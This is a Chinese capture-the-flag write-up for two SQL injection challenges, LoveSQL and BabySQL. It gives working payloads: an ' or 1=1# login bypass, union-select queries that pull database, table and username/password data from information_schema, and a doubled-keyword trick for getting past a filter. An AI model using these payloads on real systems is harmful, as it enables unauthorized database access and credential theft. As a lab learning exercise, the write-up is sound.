[极客大挑战 2019]LoveSQL
1.经过上次的教训,看到SQL注入先进行判断类型,是字符型注入,然后输入'or 1=1#,发现告诉了password。
2.输入admin和password之后发现页面还是不变,这个方法行不通。万能密码登录方式不适合,选择union联合注入脱库。
3.输入1' order by 4#报错、1' order by 3#正常,通过order by来判断列数,发现是3列
4.通过union来找回显位置,输入-1' union select 1,2,3#通过页面可以查看到2,3是回显位,然后判断数据库名,使用-1' union select 1,database(),3#发现数据库为geek
5.接着找表名,用-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'#可以看出表名是geekuser,l0ve1ysq1,猜一下第一个是数据表,而第二个正好对应题目,先尝试第二张表。
6.输入-1' union select 1,group_concat(username,password),3 from l0ve1ysq1#发现成功获得flag
[极客大挑战 2019]BabySQL
1.依据是SQL注入题型,先判断注入点,为字符型注入,再次输入'or 1=1#,发现报错,说明or被过滤清空了,尝试双写绕过。
2.使用双写绕过发现可以,依旧是报password,但还是行不通。
3.沿用上道题的方法,通过order by来判断列数,输入1' oorrder bbyy 3#,发现还是3列。
4.大胆猜测一下,回显位还是2,3,通过测试猜想没错,然后按照上道题依次是库,表,字段,flag,和上道题不同的是都需要双写绕过。
5.这里有一个小坑,password 里面的字母or也会被过滤,所以输入password会报Unknown column 'passwd',最后就可以获得flag。
知识点总结:
- SQL注入基础判断
1.单引号测试,判断字符型注入(参数被单引号包裹),数字型不用闭合单引号。
2.order by 排序法:判断SQL查询的列数,报错=超出总列数,正常=合法列。
3.union select 联合查询:利用 -1 这类不存在的值,让前面查询结果为空,显示我们构造的select结果,找到回显位。
4.注入查询固定套路(标准流程):
数据库名 → 表名 → 字段名 → 查询字段数据
用到的库:information_schema(MySQL元信息库,存库、表、字段信息)
- database():查询当前数据库名
- information_schema.tables:查表
- information_schema.columns:查字段
- group_concat():把多条结果拼接成一行输出
- 过滤绕过(BabySQL专属重点,高频考点)
1.绕过方式:关键字双写绕过
被过滤:union、select、from、order、by、or
写法:uniunionon、seselectlect、ffromrom、oorrder、bbyy、oor
原理:后端正则匹配到关键词就删除;双写之后,删掉中间匹配的词,剩下的拼接成正常关键字。
2.隐藏坑:不仅SQL命令关键字会被过滤,字段名里面包含敏感词也会被过滤!password 里面含有 or → 过滤后变成 passwd,字段不存在报错。
解决:passwoorrd 双写绕过。 - 两个题对比
- LoveSQL:无过滤联合注入,基础模板题,用来熟悉整套脱库流程
- BabySQL:关键字过滤+双写绕过,考察你能不能举一反三、注意隐藏在字段里的敏感词